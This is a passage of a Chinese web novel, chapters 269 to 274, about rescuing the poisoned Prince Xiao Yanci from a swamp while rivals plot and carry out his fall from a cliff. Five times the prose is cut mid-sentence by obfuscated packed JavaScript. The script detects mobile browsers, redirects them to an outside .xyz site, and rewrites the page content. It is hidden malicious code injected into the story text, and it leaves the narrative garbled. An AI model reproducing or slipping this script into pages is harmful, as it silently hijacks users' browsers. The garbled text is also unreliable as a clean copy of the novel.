叶剑清向叶寒衣请罪,“回大小姐,小的身上的确有解毒丹,大家也都及时服用了,但此蛇为蛇中之王朱麟蛇,小的身上的解毒丹只能抑制毒性,没法彻底解毒。” 若是没有他们身上的解毒丹,他们早就毒发身亡了,也撑不到现在。 但他们的解毒丹也只能让他们暂时保住性命,浑身却是绵软无力,加上身上有外伤,才会被这沼泽林困住。 身上带着的干粮吃完了,就只能以野草、芦苇嫩叶为食。 唯一的庆幸就是,羌笛人上山搜寻时,也没有发现他们藏身此处。 有几个毒性严重的护卫已然撑不住咽了气,萧晏辞的情况也越来越糟糕,众人心头都笼上一层深深的阴霾。 继续留在这里,只有等死这一条路。 越过沼泽林,也是九死一生。 不论是前进还是后退,都是死路一条。 就算从沼泽林离开,凭他们现在的状态,也不一定躲得过羌笛人的追击,顺利回到大齐。 就在众人一筹莫展,只能等死的时候,没想到,陆知苒和叶寒衣来了。 她们简直恍若神兵天降,让众人重新看到了生机。 然而,新的问题摆在了眼前。 “殿下的情况很不乐观,你们带了药吗?” 叶寒衣心头升起凝重。 “我们叶家的药已是顶级,若这都解不了毒,只怕其他药也……” 霜华查看了那些药,摇了摇头,“这些药都解不了这蛇毒。” 众人面色都变得十分难看。 陆知苒当机立断,“先给他清理外伤。” 蛇毒至少还能勉强控制住,但他的外伤严重,若不及时处理,更会危及性命。 叶寒衣和霜华合力,将萧晏辞腰上浸血的纱布解开。 饶是有了心理准备,看到他的伤口,她们还是倒吸凉气。 一指长的伤口,表面已然发脓,与包扎的白布粘连在一处,十分骇人。 陆知苒偏过头去,根本不敢看。 她们只能一边用清水冲洗,一边慢慢撕扯,废了九牛二虎之力才将破布撕扯下来。 原本昏迷的人,眉头都不禁蹙起。 接下来的刮脓更关键,只有把那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15367270|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腐肉刮干净,重新上药,伤口才能慢慢愈合,这个过程无疑会很痛苦。 好在他们有麻沸散。 但他们不知道,萧晏辞的神经被蛇毒侵扰,麻沸散在他身上完全失去了作用,萧晏辞发出了痛苦的闷哼,双手无意识地抓住了什么,抓得很紧,手背的青筋根根暴起,只有这样,他才能咬牙扛住那股剧痛。 而他抓着的,正是陆知苒的手。 陆知苒后知后觉地反应过来,麻沸散在他身上是失效的,他此刻正生熬着这剜肉之痛。 心中升起一股深深的不忍,想开口喊停,但腐肉不除,他的伤口就永远好不了,反而更会危及性命。 不知过了多久,伤口终于清洗干净,霜华依照艾伯特教授的方法,用羊肠线将伤处缝合,又撒上了外伤药,再重新包扎起来。 完成这些,萧晏辞的脸色已然疼得惨白,陆知苒的手也被他抓得麻木了。 她试图将手从他的掌中挣脱,但萧晏辞依旧紧握着不放,似是抓住了一根救命的浮木。 过了许久,萧晏辞紧皱的眉头慢慢舒展,手上也终于卸了力道,陆知苒这才将自己的手缓缓抽了出来。 此时,她的手腕上已然被抓出了一道道红痕,她赶忙给自己揉按。 叶寒衣眼尖,注意到她手腕上的那片红痕,当即惊呼出声。 “知苒,你的手腕怎么这么红。” 陆知苒想遮掩,却已经来不及了,众人看着,很快就明白了什么。 那是萧晏辞抓出来的痕迹。 他那是疼极了,才会如此。 叶寒衣大惊,“难道,方才麻沸散在表兄身上根本没有起作用?” 萧晏辞已然昏睡过去,无人回答她。 但陆知苒手腕上的红痕就是最直接的答案。 方才的剜肉、清洗、缝补伤口,一系列下来,是何等剧痛,可他却牙关紧咬,全都扛下来了,半点声音都没有发出。 叶寒衣禁不住眼眶都红了。 若是姑母知道他受了这么多苦,该有多心疼! 陆知苒轻声道:“好在外伤已经处理好了,殿下定能很快痊愈。” 第270章 苏醒 叶寒衣心中依旧是不安的。 外伤处理好了,但更关键的是接下来的恢复。 若他的高热一直不退,情况就会彻底超出掌控。 陆知苒吩咐,“把艾伯特交代的消炎和退热药都给他服下。” 洋医于外伤一道上颇有研究,定能让他转危为安。 贺昀对那所谓洋医闻所未闻,面上不免带着疑虑。 叶寒衣则是想到那洋医救了邢初雪,心中对他也多了几分信任。 她们解释了一番,众人心中的疑虑这才打消了大半。 这是一个冒险的决定,但除此之外,他们也没了其他选择。 死马当活马医,总好过就这么等死。 蛇毒他们也没有更好的药,索性也一并用了艾伯特的药,一股脑给他喂了下去,接下来,便只能等。 究竟是死是活,一切只能交给天意。 其他人也都服下了解药,静待结果。 忙活到现在,大家才来得及松了口气。 这时,叶寒衣才问起其间细节,“表兄的情况怎么比你们严重?” 叶剑清等人立马跪地请罪,“是属下失职,请小姐责罚。” 贺昀眼底迸射出怒火,“叶小姐,您有所不知,那些人,分明就是冲着我家殿下来的!” 陆知苒和叶寒衣心头一凛,忙问是怎么一回事。 那日,萧晏辞带人悄然潜入羌笛境内,上了断云山采药。 谁料他们刚上山没多久,就有一伙人紧跟其后。 “原本我们以为是羌笛人发现了我们,后来才发现他们分明就是大齐人,他们的目标很明确,专攻殿下一人。殿下为了给采药的人制造更多的时间,便把他们往反方向引。这些蛇也是他们引来的,殿下身上被他们撒了蛇粉,那些蛇专朝殿下身上攻击,其余人也没能幸免于难。” 原来如此。 究竟是谁在背后暗算? 他们的心中都有了答案。 除了萧晏清,谁会这么盼着萧晏辞死? 萧晏清本人虽没有来西平,但他的手下早就到了此地。 便是赵书宁和楚翊安,也都是他的爪牙。 叶寒衣狠狠捶拳,“之后再找他们好好算账!” 贺昀比较幸运,他的毒素较轻,服下药之后,很快就觉得自己原本浑身酸痛的感觉慢慢褪去,乏力的身子也恢复了些许力气。 他脸上露出惊喜,“我感觉我好多了,那药真的起效果了!” 其他人也或多或少有了效果,这让众人心头都不禁燃起希望。 陆知苒伸手,抚向萧晏辞的额头,高热果然退了下去,她不禁松了口气。 他的脸实在太脏,陆知苒便用帕子给他轻轻擦拭了一番。 看着他那明显消瘦的面容,陆知苒心中不禁泛起一股微微的涟漪。 正待抽回手,原本昏迷的人却似有所感,手突然动了,再次抓住了她。 他的这番动静让众人都为之一喜,陆知苒也顾不上自己手腕上的疼痛。 贺昀第一个凑上来,连声呼唤,“殿下,您醒醒,快醒醒呀。” 萧晏辞的眉峰微不可查地动了动,眼珠子在眼皮下缓慢转动着,最后似费劲了千辛万苦,终于掀开了一条缝。 所有人都凑了上去,眼巴巴地盯着他。 萧晏辞的目光涣散,无意识地定格许久,终于落在了陆知苒的脸上。 真的是她? 自己不是在做梦。 这段时日,萧晏辞一直昏昏沉沉,有些分不清是梦境还是现实,也不知道自己是不是还活着。 恍惚间,他听到了陆知苒的声音。 他以为自己又做梦了。 但努力睁眼,看到眼前之人,他恍惚了几息。 眼前的人前所未有的真实,手上的触感也那么真切。 萧晏辞的目光太过灼热,陆知苒被他盯得有些不自在。 明明在此之前,自己对他也不曾有过牵肠挂肚,但此刻,却有一股很奇怪的感觉在心口蔓延。 二人都未曾开口,贺昀就再次哭天抢地起来。 “殿下,我的殿下,您总算是醒了,属下真是担心**!您若是有个三长两短,属下也不活了……” 贺昀高兴啊,自家殿下昏昏沉沉这么多天,一直没有醒过,今日总算是醒了。 萧晏辞的嘴唇缓慢地张了张,吐出两个字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15367271|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好,吵。” 语带嫌弃。 叶寒衣也嫌弃地看他,“就你最聒噪。” 贺昀立马捂住嘴,委屈地不说话了。 “表兄,你这次真是命大,但凡我们晚来一步,你怕是就一命呜呼了。” 萧晏辞艰难开口,“你们,怎么来了?” 他说这话时,目光一直落在陆知苒的身上。 叶寒衣嘴快,“自然是担心你的安危,你不知道,姑母得知你失踪了,有多担心。这次能找到你,多亏了知苒,她真是神了,一路上精准无误地给我们领路,直接就寻到了这里,就好像亲眼见到你躲进去了一样。” 萧晏辞听着这番话,看着陆知苒的眼神似添了几分灼热。 叶寒衣还在持续输出,“不是我说你,你也真是够菜的,区区几个**贼就把你搞成这样,简直是丢人现眼。” 这话萧晏辞不爱听,忍不住剜了她一眼。 “你,也,吵。” 叶寒衣一噎,瞬间闭嘴了。 萧晏辞目光幽幽一转,又落在陆知苒的身上。 千言万语到了嘴边,却一时难以出口。 陆知苒轻声开口,“殿下刚刚好转,先好生休养,其他事,容后再说。” 萧晏辞的确很虚弱,能强撑着醒过来,也是听到了她的声音,以为自己在做梦。 他点了点头。 眼皮阖上之前,他轻轻吐出两个字,“谢谢。” 千言万语,全都化作了这两个字。 说完,他便重新闭上了眼睛,只是手依旧紧抓着陆知苒没放。 蛇毒较轻的人,已经慢慢恢复了力气。 他们尝试调动内力,虽有迟缓,但已经能调动起来。 又补充了一番体力,半数人都恢复如常,能顺利离开这片沼泽林。 此地环境恶劣,并非久待之地。 但对于当下的萧晏辞来说,却是最好的临时休养之地。 他的伤处刚刚处理,还不能挪动,要离开,也至少等他的蛇毒清理,伤情稳定。 其余人,则在附近巡逻,护卫安全。 危及尚未解除,他们只是暂时安全,真正的硬仗还在后头。 第271章 她的垫脚石 西平城,表面已然恢复了和平,实际上同样暗藏危机,每个人都各怀心思。 蒋家人每天忙着布药看诊,城中疫病眼看慢慢好了起来,百姓们重新看到了希望。 但此番局面,并非每个人所乐见。 楚翊安的心情算不上多愉悦。 反观赵书宁,反倒一派镇定从容,似丝毫没受影响。 楚翊安蹙眉,“蒋家人抢了你的功劳,你难道半点都不担心着急?” 赵书宁神色镇定,“该是我的功劳,任何人都抢不走。” 楚翊安眉峰微动,声音也不由压低了几分。 “你可是有什么对策?” 赵书宁淡淡昵他,“做好你自己的事便是,我的事,你无需操心。” 她这态度叫楚翊安狠狠噎了一下,心中既是气恼,又是无奈。 他早就意识到,赵书宁变了。 自从上次挨了板子,楚家对她不闻不问,她对楚家,对自己也似寒了心。 楚翊安带兵赶到西平,见到了她。 彼时,她已然风风火火地开始治疫,控制住了肆虐的疫病,楚翊安很是欣喜,对她露出了笑脸。 但赵书宁对他却是冷冷淡淡,再不负从前。 楚翊安数次对她低头讨好,她都不加理睬,那番傲慢的态度,狠狠刺伤了楚翊安的自尊心。 念在她治疫立下功劳的份儿上,楚翊安对她便多了几分忍耐。 但眼下,局势已然发生了转变。 她先前的方子并未能把疫病彻底根除,蒋老太医出手,才真正力挽狂澜。 也就是说,先前谷兆麟为她请的功,其实是名不副实的。 此事已经上报给了朝廷,到头来却是竹篮打水一场空,不仅丢人,只怕还会被皇上责罚。 楚翊安为此一连数日脸色都不大好看。 他实在看不下去,才出言询问,谁料对方态度依旧不冷不热,他被噎得心头一梗。 “你我是夫妻,我们的利益是一体的,你何必对我如此态度?” 赵书宁心里冷笑一声,自己为何对他如此态度,他心里难道半点没数? 她也曾对眼前男人赤诚相待,可最后换来的是什么?她的心早就冷了。 当日,她得知西平局势或有变数,顾不得身上的伤,快马加鞭地往西平赶。 她的伤本就没有恢复好,如此一番赶路,伤处雪上加霜,若非她给自己用了猛药,她甚至都挺不过来。 到了西平,她也顾不得养伤,立马开始为此事善后。 直到局面稍有回转,她才歇了口气,才允许自己病了一场。 但这些,楚翊安都没有看到,也不曾过问。 他见到自己,第一句话就是询问疫病的方子,是关心她能否立下功劳,让侯府沾光。 呵,自己当初何其眼瞎,竟看上了这么一个人。 不过,他方才有句话的确说得没错。 他们是夫妻,他们的利益的确是一体的。 她还需要侯府这个跳板,也需要楚翊安这个夫君。 她很快调整了神色,虽不甚热络,但到底不似方才那般冷淡。 “并非我不欲告诉你,而是此事我自己也还没思虑周全。但你放心,我有成算,蒋家抢不走我的功劳。” 相反,蒋家还会成为她的垫脚石。 又道:“你的当务之急,是办妥吴王殿下交代之事。若你办成了此事,你在吴王心中的胆量,定会大不相同。” 这话说到了楚翊安的心坎上。 此次大战,他没有挣到半点功劳,心里正憋着一口气。 若他能办成那桩事,他们宣平侯府在吴王心中的分量必然不可同日而语。 然而,那件事却不是那么容易办成的。 吴王要的,是萧晏辞的项上人头。 楚翊安眸色深了几分,“我连城都出不去,对此事,便是有心也是无力。” 她很努力才把自己的嫌弃压下。 “出不去,就想法子出去,机会不会从天而降。” 若这件事那么容易办成,还有他什么事? 楚翊安皱眉思索,最终道:“我去寻少将军。” 他在西平三年,与谷兆麟生过不少龃龉,若非迫不得已,他委实不想去寻对方。 赵书宁淡淡道:“我也正有事需与他商议,此事便交给我吧。到时候定要把握好良机,把萧晏辞除掉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15377500|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 楚翊安闻言,面色有些不好看。 “你私下与他往来,合适吗?” 赵书宁转眸看向他,眼神透着一丝冷意。 “你这话是什么意思?” 楚翊安的语气硬邦邦的,“我是什么意思,你心里清楚。” 当初,他们三人之间还发生过一番爱恨纠葛。 赵书宁在西平军中大放异彩,不仅吸引了楚翊安,也让谷兆麟为之沉沦。 但最终,赵书宁选择了楚翊安。 他们离开西平时,谷兆麟骑马追了很远,当时,他看着赵书宁的眼神充满了不甘。 那样挫败的谷兆麟,也让楚翊安的自尊心得到了极大的满足。 而今,谷兆麟依旧是镇西军的少将军,他楚翊安在京中却没能有所建树,再见到对方时,楚翊安只觉得面上无光。 尤其是,赵书宁在自己之前就来了西平,楚翊安不禁想,是不是谷兆麟给她传的消息,她才会不顾伤情赶来西平? 而在此之前,他们二人互相配合治疫,谷兆麟还为赵书宁请功。 此番种种,都让楚翊安心头不舒坦。 眼下,赵书宁当着自己的面说出要去见谷兆麟这样的话,楚翊安心中更加不快。 “眼下大局未定,你还有心思揣度那些有的没的?” 以往在京中时,也没见他对自己有多稀罕,眼下倒是吃起干醋来了,真是可笑。 见他依旧一副不信任的模样,赵书宁冷冷道:“为了男人犯糊涂这样的错误,犯过一次就够了,我不会再犯第二次。” 男人啊,是世上最不可靠的存在。 她错了一次,断然不会再错第二次。 她比任何人都清楚,自己要的是什么,任何人都可以成为她的踏板,包括谷兆麟。 赵书宁没再与楚翊安废话,起身离开。 她径直去寻了谷兆麟。 谷兆麟的亲卫见了她,都很客气,入内通报之后,很快就把她请了进去。 谷兆麟见了她,背脊都不自觉挺直了几分,目光也柔和下来。 “书宁,你来了?” 赵书宁开门见山,“少将军,我有事与你商议。” 第272章 只能成功,不能失败 谷兆麟对亲卫示意一番,对方立马退了出去,在门口守着。 赵书宁压低声音表达来意,她想让楚翊安出城,参与搜救萧晏辞的任务,再伺机除掉对方。 谷兆麟也已经是吴王的人,能除掉萧晏辞,他也乐见其成。 赵书宁又状似随意地添了一句,“此时也是除掉戈叙白的最佳时机。” 谷兆麟的眸底立马闪过一抹阴霾。 要说,谁是他最大的眼中钉,那非戈叙白莫属。 只要有戈叙白在,义父就永远看不到自己。 戈叙白武艺了得,自己根本没机会对他下手,这次的确是一个天赐良机。 谷兆麟沉吟一番,旋即点头,“好,此事交由我来安排。” 末了,他面上露出几分鄙夷,“处处都需你来安排铺路,这就是你选的好夫婿?书宁,当初你若是选了我,而今的结局定然大不相同。” 赵书宁微垂眼睑,敛去眸底那抹嘲讽。 男人啊,总是那么自以为是。 他现在的处境,又比楚翊安好多少? 戈叙白都要骑到他头上来了。 心中这般想,面上赵书宁却不露分毫,反而露出几分苦笑,“任何人都要为自己的选择负责。” 谷兆麟似还要再说些什么,赵书宁打断对方。 “那件事,少将军可安排妥了?” 谷兆麟被打断了话头,不得不言归正传。 “已经安排好了,只需你一声吩咐,计划立马实施。书宁,此事何时动手?” 赵书宁神色淡定,“时机尚未成熟。” 谷兆麟比她还沉不住气,“太医院和蒋家的人已经连续布药多日,眼看大家都要好起来了,此时还不动手,只怕最后,功劳就真的要落在他们手里了。” 当初,他以谷栖山的名义上折子替赵书宁请功,事后被谷栖山好生责骂了一通,父子间嫌隙愈深。 后来,蒋家人横插一脚,让赵书宁先前的功劳变得名不正言不顺,谷兆麟的处境也变得微妙,眼下他急于扳回一局。 赵书宁依旧八风不动,“少将军稍安勿躁,相信我,此事尽在我的掌控之中,此时出手,为时尚早了些。” “此事只能成功,不能失败,你可明白?” 赵书宁点头,“我明白,相信我,此事必然能成。” 谷兆麟见她如此镇定,原本浮躁的心才慢慢落了下去。 他露出笑来,“你是我见过最有本事的女子,我相信你。” 谈完了正事,赵书宁便干脆起身离开,没有给谷兆麟开口闲谈的机会。 忆往昔是最无意义的事,她的时间宝贵,断不想浪费在这些事情上。 谷兆麟看着赵书宁离开的背影,心中不免有些怅然若失。 得不到的,永远都是最好的。 赵书宁不过中人之姿,但她聪慧果决,从容稳重,有着远超男子的智慧,这些特质都深深地吸引着谷兆麟,令他为之着迷。 只是眼下时机不恰当,他也没有闲心谈情说爱,若不然,他定会想方设法把赵书宁抢过来。 谷兆麟去求见了谷栖山,向他提出增派人手出城搜救。 “叙白带兵出城这么久,一直没有消息,我实在担心。羌笛此番受挫,必然心怀怨怼,若他们发现了叙白的踪迹,定会穷追不舍,只怕叙白会遭遇不测。” 谷栖山闻言,眉头不禁蹙起。 这也是他所担心的。 近些年,戈叙白的风头不小。 半年前,西平疫病爆发,羌笛来犯,戈叙白便以一己之力斩杀数名羌笛将领,那一战让他在羌笛扬名。 后来,羌笛游兵到村中滋扰百姓,戈叙白率兵追击,将那支残兵尽数诛杀,还将其头目的脑袋悬于城门之上,以作警示。 要说羌笛人最恨谁,最怕谁,除了谷栖山,便是戈叙白了。 若羌笛人发现戈叙白的行踪,定不会轻易放过。 偷觑着谷栖山的神色,谷兆麟又道:“义父,我觉得可以再派一队人马出城打探情况,若有危险,也能及时支援。” 一番斟酌,谷栖山点了头。 不论是戈叙白,还是萧晏辞,都不能出事。 谷兆麟提出自己要亲自带兵前去,被谷栖山驳了。 “眼下我的身体尚未恢复,城中需要有人镇守,你此时出城,不妥。” 谷兆麟本也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15377501|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算真的去,他不过是料定了谷栖山不会同样让他去,才会故意如此表现。 “还是义父思虑周全。那我这便去集结点兵,把此事安排下去。” 谷栖山颔首,谷兆麟很快去了。 他一走,谷栖山便示意心腹,“盯着些,别出岔子。” 心腹立马颔首应下。 这两日,萧晏辞的高热反反复复,今日体温终于稳定下来。 高热退去,蛇毒解了,他很快就恢复了清醒,整个人的精神状态也好了许多,众人都松了口气。 他醒了之后说的第一句话便是,“此地不宜久留,必须尽早离开。” 他此时的预感特别敏锐,危险很快便会降临。 陆知苒的眼皮突突地跳,她心头也同样升起这个念头,必须尽早离开。 暗卫们一边在沼泽林附近护卫他们的安全,一边寻摸下山的路,侦察敌情,开始为撤离做准备。 叶寒衣也与叶剑清等人一起摸索地形,寻找一条下山的最佳路径。 她在滇南长大,自小在山林中出入,非常擅长在丛林中隐藏身形,方向感也很好。 他们很快发现了几个羌笛散兵,毫不犹豫地出手将对方解决了。 谁料竟漏了一人,那人直接吹响口哨,传出了信号。 而附近刚好有一支羌笛人马,他们收到传信,立马追来。 叶寒衣几人心头一凛,也不敢恋战,转身就跑。 他们没有往沼泽林的方向跑,而是往相反的方向。 谁料,前方竟也有一支人马,叶寒衣一行与他们直直碰上了。 短兵相接,双方战火一触即发。 叶寒衣暗骂一声晦气,拔出无念,与对方缠斗起来。 原本以为是砍瓜切菜般简单,轻轻松松就能把对方拿下,但一交手她就知道自己轻敌了。 对方的大刀如蛟龙出海,一刀便劈出雷霆万钧的气势。 叶寒衣瞳孔猛缩,慌忙踏出七星步,剑走偏锋,这才堪堪避开那势如破竹的一刀。 她不敢再轻敌,沉了一口气,使出了叶家剑法。 对方的身形明显顿了顿。 “寒梅点雪?你是叶家人?” 第273章 萧晏辞坠崖 是一道低沉的嗓音,带着一丝粗粝,且是纯正的大齐话。 对方没有再进攻,叶寒衣也顺势收了势,只是依旧处于防备的姿态。 “你是何人?” “镇西军参将,戈叙白。” 这个名字,这几日她才刚刚听过。 是友非敌。 她也主动自报了家门。 “滇西王孙女,叶寒衣。” 戈叙白的眸底诧异更甚,他开口大喝一声,“都停下,是自己人。” 原本还以命相搏的双方立时收手,只是彼此间依旧带着警惕。 双方没来得及多说什么,羌笛人便追了上来。 叶寒衣和戈叙白立马调转刀锋,朝向羌笛人。 一刀一剑,刀锋刚猛,剑锋霍霍,二人的配合竟是十分默契,不出几个回合,那支羌笛小队就被剿灭,只余满地尸身。 有了这场共同对敌的**情谊,方才对对方身份的些许芥蒂也消失了。 他们点起了火把,这才看清了彼此。 叶寒衣看到眼前这身形高大,满脸胡渣,浑似个野人的男人,恍惚以为自己见到了爹——每回滇南有战事,他爹出去打一场仗,回来就这副模样。 男人先开了口,“叶大小姐,方才不知你的身份,若有误伤,还请见谅。” 对方双手抱拳,态度很客气。 叶寒衣也还以抱拳之礼,“我方才手下也没留情,也请戈将军莫怪。” 双方一番客套,这才直入主题。 “我等奉命前来搜寻瑾王殿下,但断云山地势复杂,搜寻多日一直无果。想来叶大小姐也是为此而来,不知你是否有线索?” 叶寒衣不答反问,“你带了多少人?羌笛这边的人马有多少?如果带着伤员,你有把握能把人安全救走吗?” 戈叙白:“我只带了一千人,但都是精锐。羌笛的人马我不知,但估计不会太多。他们刚经历大战,死伤惨重,几大部族内部也发生了分歧,此时正是休养生息的时候,不会兴师动众地调派人手耗在此地。若当真找到了瑾王殿下,我能带兵吸引他们的火力,再安排人接应,有九成的把握能把人救走。” 他没把话说死,但这番态度,也让叶寒衣大松了口气。 有这么一个帮手,再加上他们自己的人手也不少,定能顺利离开断云山。 叶寒衣斟酌了一番,这才道出了他们的现状。 听到萧晏辞已经脱离生命危险,戈叙白松了口气。 师父叮嘱过,务必要把瑾王殿下安全带回去,他这段时日日夜搜寻,便是不想辜负师父所托。 叶寒衣在前头带路,戈叙白一行总算是找到了那处沼泽林。 他的手下一拍脑门,“我先前到过这里,但想着这是一片沼泽林,里头定然藏不了人,就没有进去搜查。” 谁能想到,这沼泽林里面竟然有一片平地,还被芦苇遮住了。 戈叙白冷眸扫过那人,“回去自己领罚。” 那人顿时垮了脸,却半句都不敢反驳。 叶寒衣搬来了救兵,这让众人心头都振奋起来。 叶寒衣小声问,“表兄,他是否可信?” 萧晏辞言简意赅,“戈叙白可信。” 有他这话,叶寒衣才放心下来。 “那我们明日便下山。” 萧晏辞却道:“事不宜迟,今夜便走。” 叶寒衣诧异,“这么急吗?” “今夜你们与羌笛人交了手,我担心迟则生变。” 戈叙白亦有同感。 商定之后,众人便开始行动。 夜色掩映下,断云山一片幽静,唯有风吹树叶的沙沙声,以及那一道道矫捷人影在树梢间掠过的残影。 而那头,镇西军将领张烈带兵出城,悄然上了断云山。 楚翊安便在其中之列。 众人正小心前行,忽而,听得前方传来一阵打斗声,几人立马朝那边而去。 刚赶到,就听到戈叙白的声音,“这里交给我,你们速速护送瑾王殿下下山!” 楚翊安闻言,眼底骤然一亮。 真是踏破铁鞋无觅处,得来全不费工夫! 张烈率众上前帮忙,“戈参将,属下前来支援!” 戈叙白见了他们,目露欣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15382361|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜。 众将士立马加入战局,与羌笛人缠斗在一处。 楚翊安砍了一个冲上来的羌笛人,很快抽身,追上了那支往西边奔逃的小队人马。 他们死死护卫着一人,那人似受了重伤,由一个暗卫背着。 看身形,俨然就是萧晏辞。 楚翊安压下心头激动,悄然隐匿身形,紧跟其后。 很快,又一支羌笛小队追了上来,暗卫要护着受伤的萧晏辞,又要分出人手来迎敌,且战且走,应付得十分艰难。 楚翊安砍了一个羌笛人,又飞快扒下对方的衣裳,套在自己身上,用面巾遮住脸,疾步追了上去。 他的目标明确,直奔萧晏辞而去。 他招招都是杀招,不留情面,羌笛人以为他的自己人,见他如此勇猛,也大受振奋,拼杀得更加卖力。 暗卫护着受伤的萧晏辞,颇受掣肘,被逼得连连退败。 一**喊,“不好,前面没有路了!” 他们停了下来,楚翊安闻言,心头大喜,这可真是天助我也。 身后的羌笛人更是兴奋地挥着大刀就冲了上去。 背着萧晏辞的暗卫已被逼到了山石的边缘上,再往后退一步,就要掉下去,万劫不复。 楚翊安没有再往前冲,他取来弓箭,瞄准,拉弓,放箭。 利箭“嗖”地一下射了出去,直朝那暗卫的面门。 那人瞳孔猛缩,本能地躲避,险险躲过了那一箭,但却没能护住背上的人,萧晏辞直接摔下了山崖。 “殿下!” 众人发出沉痛的惊呼。 萧晏辞心头迸射出狂喜,从这么高的山上摔下去,他定然尸骨无存,再无生还的可能! 他立下了大功! 只可惜,自己没能亲手砍下他的头颅,也没能留下信物,如何证明是自己立下的功劳,倒是有些难办。 但眼下,他也顾不上那么多。 身后,有援军往这边来,楚翊安不敢久留,立马隐匿了身形,飞快把自己身上羌笛人的衣服脱了,面巾也摘了下来,然后佯作无事般,加入了援军之列。 第274章 只敢躲在背后弄鬼的鼠辈 “瑾王殿下摔下山崖了!” “是属下护卫不利,属下罪该万死!” 戈叙白听闻此言,面色骤变。 “羌笛贼子,竟敢戕害瑾王殿下,给我拿命来!” 他本就勇猛,此时被激怒,手中大刀更是快出了残影,羌笛士兵在他手下根本毫无战力。 戈叙白杀红了眼,根本没留意到,他的身后不远处,有人瞄准了他的后心,放出一支利箭。 他感到后方有凌厉破空之声,本能升起警觉,但前方又有一羌笛人举刀朝他砍来,一时他竟是腹背受敌。 “哐!” 一道利刃相击声传来,叶寒衣握着无念,将那支利箭击飞。 暗处的楚翊安飞快收起弓箭,隐匿身形,心中亦升起懊恼。 一击不中,他再想得手,只怕不易。 方才差一点就成功了,真是可惜。 让他没想到的是,叶寒衣竟然也来了西平。 戈叙白见到叶寒衣,亦是面露惊讶,下意识压低了声音,“你没有走?” 叶寒衣也将声音压低几分,“那边很顺利,我又折回来了。方才那利箭可不是羌笛人那边射来的,有人想取你性命。” 戈叙白的眸底闪过一抹厉色。 是谁会在这种时候对自己下手? 戈叙白的心中闪过一个人。 叶寒衣提醒,“我救了一次,别忘了。” “救命之恩,没齿难忘。” 敌军再次来袭,他们顾不上多说,很快投入全力杀敌。 叶寒衣被一个羌笛人缠上了,本以为能像先前那样轻易料理对方,谁料他竟异常勇猛,叶寒衣被对方一拳震得手指发麻,尚未回神,对方再次发起猛攻,直朝命门而来。 戈叙白的大刀挡在了她身前,替她挡了这致命一击。 方才她救了他,现在他救了她,扯平了。 对方在戈叙白手底下占不到便宜,但戈叙白也没法轻易将他斩杀,双方缠斗,十分激烈。 偏在这时,又有黑箭从暗处射来。 那人依旧不死心,要取戈叙白的性命。 戈叙白被那羌笛人缠住,根本无暇分身,叶寒衣赶忙出手将那暗箭挡开。 但紧接着,数枚暗箭接连发出,攻势较之先前更加迅猛。 叶寒衣一时不察,肩头被擦伤,伤势不重,她压根没在意。 但很快,她就察觉到了不对劲。 她开始浑身酸软无力,手中的无念都有些提不起来了。 “戈叙白,小心暗箭,上面有毒!” 戈叙白余光瞥见她的异状,眸色一沉。 不可再恋战。 他故意卖了个破绽给对方,在对方以为即将得手之际,干脆利落地出手反杀。 大刀斩下,人头落地,那羌笛人双目圆睁,似是不明白自己究竟输在了那里。 此时,叶寒衣已经提不起剑,她尝试运功,也失败了。 